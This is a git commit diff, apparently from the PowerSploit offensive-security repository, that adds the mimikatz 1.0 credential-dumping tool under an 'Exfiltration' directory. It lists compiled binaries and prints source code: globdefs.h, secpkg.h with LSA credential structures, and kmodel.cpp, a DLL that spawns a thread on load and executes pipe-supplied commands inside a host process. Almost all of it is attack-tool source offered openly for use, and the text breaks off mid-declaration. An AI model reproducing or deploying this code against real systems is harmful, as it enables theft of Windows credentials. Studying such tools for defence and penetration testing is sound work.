diff options
author | clymb3r <bialek.joseph@gmail.com> | 2013-10-01 09:47:05 -0700 |
---|---|---|
committer | clymb3r <bialek.joseph@gmail.com> | 2013-10-01 09:47:05 -0700 |
commit | 59cd18360764af6e6133ad11ec9cd8295372e587 (patch) | |
tree | 758a4f12cd6d2bddb0006df7d1fcac3736b61b8f /Exfiltration/mimikatz-1.0 | |
parent | b17272eb98933c62baa5a21bcd23713f9182ee38 (diff) | |
download | PowerSploit-59cd18360764af6e6133ad11ec9cd8295372e587.tar.gz PowerSploit-59cd18360764af6e6133ad11ec9cd8295372e587.zip |
Adding Invoke-Mimikatz and Invoke-Ninjacopy
Diffstat (limited to 'Exfiltration/mimikatz-1.0')
289 files changed, 16310 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.dll b/Exfiltration/mimikatz-1.0/Win32/kappfree.dll Binary files differnew file mode 100644 index 0000000..83b3a43 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/kappfree.dll diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.exp b/Exfiltration/mimikatz-1.0/Win32/kappfree.exp Binary files differnew file mode 100644 index 0000000..a6fb957 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/kappfree.exp diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.lib b/Exfiltration/mimikatz-1.0/Win32/kappfree.lib Binary files differnew file mode 100644 index 0000000..0f5d047 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/kappfree.lib diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.dll b/Exfiltration/mimikatz-1.0/Win32/kelloworld.dll Binary files differnew file mode 100644 index 0000000..ea6081a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/kelloworld.dll diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp b/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp Binary files differnew file mode 100644 index 0000000..ce21b16 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib b/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib Binary files differnew file mode 100644 index 0000000..5328cbd --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.dll b/Exfiltration/mimikatz-1.0/Win32/klock.dll Binary files differnew file mode 100644 index 0000000..d78b442 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/klock.dll diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.exp b/Exfiltration/mimikatz-1.0/Win32/klock.exp Binary files differnew file mode 100644 index 0000000..947406f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/klock.exp diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.lib b/Exfiltration/mimikatz-1.0/Win32/klock.lib Binary files differnew file mode 100644 index 0000000..40c5c8d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/klock.lib diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.dll b/Exfiltration/mimikatz-1.0/Win32/mimikatz.dll Binary files differnew file mode 100644 index 0000000..028d15a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/mimikatz.dll diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exe b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exe Binary files differnew file mode 100644 index 0000000..d92b2f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exe diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp Binary files differnew file mode 100644 index 0000000..0de4a90 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib b/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib Binary files differnew file mode 100644 index 0000000..b98eea9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll Binary files differnew file mode 100644 index 0000000..0cb9638 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp Binary files differnew file mode 100644 index 0000000..a7fd6eb --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib Binary files differnew file mode 100644 index 0000000..cdcf2b5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib diff --git a/Exfiltration/mimikatz-1.0/commun/globdefs.h b/Exfiltration/mimikatz-1.0/commun/globdefs.h new file mode 100644 index 0000000..d579a3b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/globdefs.h @@ -0,0 +1,128 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#pragma warning(disable:4530) +#include <stdio.h> +#include <windows.h> +#include <ntsecapi.h> +#include <string> +#include <vector> +using namespace std; + +#define SECURITY_WIN32 +#define PAGE_SIZE 0x1000 +#define MAX_DOMAIN_LEN 24 +#define MAX_USERNAME_LEN 24 + +#define MIMIKATZ L"mimikatz" +#ifdef _M_X64 + #define MIMIKATZ_FULL L"mimikatz 1.0 x64 (RC)" +#else ifdef + #define MIMIKATZ_FULL L"mimikatz 1.0 x86 (RC)" +#endif + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1) +#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2) +#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) + +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L) +#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L) + +#define S_SWAP(a, b) {BYTE t = S[a]; S[a] = S[b]; S[b] = t;} + +typedef bool (* PKIWI_LOCAL_COMMAND) (vector<wstring> * arguments); + +typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND { + PKIWI_LOCAL_COMMAND ptrCommand; + wstring commandName; + wstring commandHelp; + _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name, wstring help) : ptrCommand(command), commandName(name), commandHelp(help) {} + _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name) : ptrCommand(command), commandName(name), commandHelp() {} +} KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND, *PKIWI_MIMIKATZ_LOCAL_MODULE_COMMAND; + +typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE { + wstring module; + wstring description; + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> commandes; + _KIWI_MIMIKATZ_LOCAL_MODULE(wstring leModule, wstring laDescription, vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> lesCommandes) : module(leModule), description(laDescription), commandes(lesCommandes) {} +} KIWI_MIMIKATZ_LOCAL_MODULE, *PKIWI_MIMIKATZ_LOCAL_MODULE; + +typedef struct _CLIENT_ID { + PVOID UniqueProcess; + PVOID UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef const ULONG CLONG; +typedef const UNICODE_STRING *PCUNICODE_STRING; +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +/* System* */ +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_006) (LPCSTR string, BYTE hash[16]); +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_007) (PUNICODE_STRING string, BYTE hash[16]); +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_025) (BYTE[16], DWORD *, BYTE[16]); +typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_027) (BYTE[16], DWORD *, BYTE[16]); +/* CNG */ +typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput); +typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject); +typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer); +typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer); + +typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags); +typedef NTSTATUS (WINAPI * PBCRYTP_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey); +typedef NTSTATUS (WINAPI * PBCRYTP_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags); + +/* Rtl* */ +#define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart)) +typedef NTSTATUS (WINAPI * PRTL_CREATE_USER_THREAD) (__in HANDLE Process, __in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, __in char Flags, __in_opt ULONG ZeroBits, __in_opt SIZE_T MaximumStackSize, __in_opt SIZE_T CommittedStackSize, __in PTHREAD_START_ROUTINE StartAddress, __in_opt PVOID Parameter, __out_opt PHANDLE Thread, __out_opt PCLIENT_ID ClientId); +typedef VOID (WINAPI * PRTL_INIT_STRING) (PSTRING DestinationString, PCSTR SourceString); +typedef VOID (WINAPI * PRTL_INIT_UNICODESTRING) (PUNICODE_STRING DestinationString, PCWSTR SourceString); +typedef NTSTATUS (WINAPI * PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING) (POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString); +typedef VOID (WINAPI * PRTL_FREE_OEM_STRING) (POEM_STRING OemString); +typedef PVOID (WINAPI * PRTL_LOOKUP_ELEMENT_GENERIC_TABLE_AV) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer); +typedef enum _RTL_GENERIC_COMPARE_RESULTS (WINAPI * PRTL_AVL_COMPARE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID FirstStruct, __in PVOID SecondStruct); +typedef PVOID (WINAPI * PRTL_AVL_ALLOCATE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in CLONG ByteSize); +typedef VOID (WINAPI * PRTL_AVL_FREE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer); + +typedef struct _RTL_BALANCED_LINKS { + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS; +typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +typedef struct _RTL_AVL_TABLE { + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + PRTL_AVL_COMPARE_ROUTINE CompareRoutine; + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_AVL_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico Binary files differnew file mode 100644 index 0000000..9ac92da --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico Binary files differnew file mode 100644 index 0000000..79edffc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico Binary files differnew file mode 100644 index 0000000..2285d1c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico Binary files differnew file mode 100644 index 0000000..745963e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico Binary files differnew file mode 100644 index 0000000..7497143 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico Binary files differnew file mode 100644 index 0000000..07df30f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico Binary files differnew file mode 100644 index 0000000..67b1100 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico Binary files differnew file mode 100644 index 0000000..6d7f787 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico Binary files differnew file mode 100644 index 0000000..805707a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico Binary files differnew file mode 100644 index 0000000..a1c08e5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico Binary files differnew file mode 100644 index 0000000..ea38a48 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico diff --git a/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico Binary files differnew file mode 100644 index 0000000..27adde3 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.cpp b/Exfiltration/mimikatz-1.0/commun/kmodel.cpp new file mode 100644 index 0000000..a87ea8f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/kmodel.cpp @@ -0,0 +1,139 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kmodel.h" + +HMODULE g_hModule = NULL; + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) +{ + if (ul_reason_for_call == DLL_PROCESS_ATTACH) + { + g_hModule = hModule; + + HANDLE hThread = CreateThread(NULL, 0, &ThreadProc, NULL, 0, NULL); + if(hThread && hThread != INVALID_HANDLE_VALUE) + { + return CloseHandle(hThread); + } + } + return TRUE; +} + +DWORD WINAPI ThreadProc(LPVOID lpParameter) +{ + mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz"); + + bool succes = false; + for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++) + { + succes = monCommunicator->createClient(); + if(!succes) + { + Sleep(3000); + } + } + + if(succes) + { + ptrFunctionString maFonctionString = reinterpret_cast<ptrFunctionString>(GetProcAddress(g_hModule, "getDescription")); + + wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi"; + if(maFonctionString) + { + wstring * maDescription = new wstring(); + if(maFonctionString(maDescription)) + { + monBuffer.append(L"\n\n"); + monBuffer.append(*maDescription); + } + delete maDescription; + } + + + + if(monCommunicator->writeToPipe(monBuffer)) + { + for(;;) + { + if(monCommunicator->readFromPipe(monBuffer)) + { + wstring fonction = monBuffer; + vector<wstring> arguments; + + size_t monIndex = fonction.find(L' '); + + if(monIndex != wstring::npos) + { + arguments = mod_parseur::parse(fonction.substr(monIndex + 1)); + fonction = fonction.substr(0, monIndex); + } + + string procDll(fonction.begin(), fonction.end()); + + ptrFunction maFonction = reinterpret_cast<ptrFunction>(GetProcAddress(g_hModule, procDll.c_str())); + + if(maFonction) + { + if(maFonction(monCommunicator, &arguments)) + { + monBuffer = L"@"; + } + else // La fonction ŕ retourné FALSE, il y a donc anomalie bloquante sur le canal + { + break; + } + } + else + { + monBuffer = L"@Méthode \'"; + monBuffer.append(fonction); + monBuffer.append(L"\' introuvable !\n"); + } + + if(!monCommunicator->writeToPipe(monBuffer)) + { + break; + } + } + else + { + break; + } + } + } + } + + delete monCommunicator; + + FreeLibraryAndExitThread(g_hModule, 0); + return 0; +} + +bool sendTo(mod_pipe * monPipe, wstring message) +{ + wstring reponse = L"#"; + reponse.append(message); + + return monPipe->writeToPipe(reponse); +} + + +__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + bool sendOk = sendTo(monPipe, L"pong"); + + for(vector<wstring>::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; monArgument++) + { + wstring maReponse = L" - argument:"; + maReponse.append(*monArgument); + sendOk = sendTo(monPipe, maReponse); + } + + if(sendOk) + sendOk = sendTo(monPipe, L"\n"); + + return sendOk; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/commun/kmodel.h b/Exfiltration/mimikatz-1.0/commun/kmodel.h new file mode 100644 index 0000000..65bd912 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/kmodel.h @@ -0,0 +1,21 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_pipe.h" +#include "mod_parseur.h" + +#define __kextdll extern "C" __declspec(dllexport) + +typedef bool (__cdecl * ptrFunction) (mod_pipe * monPipe, vector<wstring> * mesArguments); +typedef bool (__cdecl * ptrFunctionString) (wstring * maDescription); + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved); +DWORD WINAPI ThreadProc(LPVOID lpParameter); + +bool sendTo(mod_pipe * monPipe, wstring message); + +__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/commun/secpkg.h b/Exfiltration/mimikatz-1.0/commun/secpkg.h new file mode 100644 index 0000000..385307d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/commun/secpkg.h @@ -0,0 +1,239 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <sspi.h> +#include <wincred.h> + +typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL +{ + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING Domaine; + LSA_UNICODE_STRING Password; +} KIWI_GENERIC_PRIMARY_CREDENTIAL, * PKIWI_GENERIC_PRIMARY_CREDENTIAL; + +typedef NTSTATUS (WINAPIV * PLSA_INITIALIZE_PROTECTED_MEMORY) (); + +typedef PVOID *PLSA_CLIENT_REQUEST; +typedef LPTHREAD_START_ROUTINE SEC_THREAD_START; +typedef LPSECURITY_ATTRIBUTES SEC_ATTRS; + +typedef struct _SECPKG_CLIENT_INFO { + LUID LogonId; // Effective Logon Id + ULONG ProcessID; // Process Id of caller + ULONG ThreadID; // Thread Id of caller + BOOLEAN HasTcbPrivilege; // Client has TCB + BOOLEAN Impersonating; // Client is impersonating + BOOLEAN Restricted; // Client is restricted + // NT 5.1 + UCHAR ClientFlags; // Extra flags about the client + SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; // Impersonation level of client + // NT 6 + HANDLE ClientToken; +} SECPKG_CLIENT_INFO, * PSECPKG_CLIENT_INFO; + +typedef enum _LSA_TOKEN_INFORMATION_TYPE { + LsaTokenInformationNull, // Implies LSA_TOKEN_INFORMATION_NULL data type + LsaTokenInformationV1, // Implies LSA_TOKEN_INFORMATION_V1 data type + LsaTokenInformationV2 // Implies LSA_TOKEN_INFORMATION_V2 data type +} LSA_TOKEN_INFORMATION_TYPE, *PLSA_TOKEN_INFORMATION_TYPE; + +typedef enum _SECPKG_NAME_TYPE { + SecNameSamCompatible, + SecNameAlternateId, + SecNameFlat, + SecNameDN, + SecNameSPN +} SECPKG_NAME_TYPE; + +typedef struct _SECPKG_CALL_INFO { + ULONG ProcessId; + ULONG ThreadId; + ULONG Attributes; + ULONG CallCount; + PVOID MechOid; // mechanism objection identifer +} SECPKG_CALL_INFO, * PSECPKG_CALL_INFO; + +typedef enum _SECPKG_SESSIONINFO_TYPE { + SecSessionPrimaryCred // SessionInformation is SECPKG_PRIMARY_CRED +} SECPKG_SESSIONINFO_TYPE; + +typedef struct _SECPKG_PRIMARY_CRED { + LUID LogonId; + UNICODE_STRING DownlevelName; // Sam Account Name + UNICODE_STRING DomainName; // Netbios domain name where account is located + UNICODE_STRING Password; + UNICODE_STRING OldPassword; + PSID UserSid; + ULONG Flags; + UNICODE_STRING DnsDomainName; // DNS domain name where account is located (if known) + UNICODE_STRING Upn; // UPN of account (if known) + UNICODE_STRING LogonServer; + UNICODE_STRING Spare1; + UNICODE_STRING Spare2; + UNICODE_STRING Spare3; + UNICODE_STRING Spare4; +} SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED; + +typedef struct _SECPKG_SUPPLEMENTAL_CRED { + UNICODE_STRING PackageName; + ULONG CredentialSize; +#ifdef MIDL_PASS + [size_is(CredentialSize)] +#endif // MIDL_PASS + PUCHAR Credentials; +} SECPKG_SUPPLEMENTAL_CRED, *PSECPKG_SUPPLEMENTAL_CRED; + +typedef struct _SECPKG_SUPPLEMENTAL_CRED_ARRAY { + ULONG CredentialCount; +#ifdef MIDL_PASS + [size_is(CredentialCount)] SECPKG_SUPPLEMENTAL_CRED Credentials[*]; +#else // MIDL_PASS + SECPKG_SUPPLEMENTAL_CRED Credentials[1]; +#endif // MIDL_PASS +} SECPKG_SUPPLEMENTAL_CRED_ARRAY, *PSECPKG_SUPPLEMENTAL_CRED_ARRAY; + +typedef NTSTATUS (WINAPI * PLSA_CALLBACK_FUNCTION) (ULONG_PTR Argument1, ULONG_PTR Argument2, PSecBuffer InputBuffer, PSecBuffer OutputBuffer); + +typedef NTSTATUS (WINAPI * PLSA_CREATE_LOGON_SESSION) (IN PLUID LogonId); +typedef NTSTATUS (WINAPI * PLSA_DELETE_LOGON_SESSION) (IN PLUID LogonId); +typedef NTSTATUS (WINAPI * PLSA_ADD_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue, IN PLSA_STRING Credentials); +typedef NTSTATUS (WINAPI * PLSA_GET_CREDENTIALS) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN OUT PULONG QueryContext, IN BOOLEAN RetrieveAllCredentials, IN PLSA_STRING PrimaryKeyValue, OUT PULONG PrimaryKeyLength, IN PLSA_STRING Credentials); +typedef NTSTATUS (WINAPI * PLSA_DELETE_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue); +typedef PVOID (WINAPI * PLSA_ALLOCATE_LSA_HEAP) (IN ULONG Length); +typedef VOID (WINAPI * PLSA_FREE_LSA_HEAP) (IN PVOID Base); +typedef PVOID (WINAPI * PLSA_ALLOCATE_PRIVATE_HEAP) (IN SIZE_T Length); +typedef VOID (WINAPI * PLSA_FREE_PRIVATE_HEAP) (IN PVOID Base); +typedef NTSTATUS (WINAPI * PLSA_ALLOCATE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG LengthRequired, OUT PVOID *ClientBaseAddress); +typedef NTSTATUS (WINAPI * PLSA_FREE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN PVOID ClientBaseAddress); +typedef NTSTATUS (WINAPI * PLSA_COPY_TO_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID ClientBaseAddress, IN PVOID BufferToCopy); +typedef NTSTATUS (WINAPI * PLSA_COPY_FROM_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID BufferToCopy, IN PVOID ClientBaseAddress); +typedef NTSTATUS (WINAPI * PLSA_IMPERSONATE_CLIENT) (VOID); +typedef NTSTATUS (WINAPI * PLSA_UNLOAD_PACKAGE) (VOID); +typedef NTSTATUS (WINAPI * PLSA_DUPLICATE_HANDLE) (IN HANDLE SourceHandle, OUT PHANDLE DestionationHandle); +typedef NTSTATUS (WINAPI * PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS) (IN PLUID LogonId, IN ULONG SupplementalCredSize, IN PVOID SupplementalCreds, IN BOOLEAN Synchronous); +typedef HANDLE (WINAPI * PLSA_CREATE_THREAD) (IN SEC_ATTRS SecurityAttributes, IN ULONG StackSize, IN SEC_THREAD_START StartFunction, IN PVOID ThreadParameter, IN ULONG CreationFlags, OUT PULONG ThreadId); +typedef NTSTATUS (WINAPI * PLSA_GET_CLIENT_INFO) (OUT PSECPKG_CLIENT_INFO ClientInfo); +typedef HANDLE (WINAPI * PLSA_REGISTER_NOTIFICATION) (IN SEC_THREAD_START StartFunction, IN PVOID Parameter, IN ULONG NotificationType, IN ULONG NotificationClass, IN ULONG NotificationFlags, IN ULONG IntervalMinutes, IN OPTIONAL HANDLE WaitEvent); +typedef NTSTATUS (WINAPI * PLSA_CANCEL_NOTIFICATION) (IN HANDLE NotifyHandle); +typedef NTSTATUS (WINAPI * PLSA_MAP_BUFFER) (IN PSecBuffer 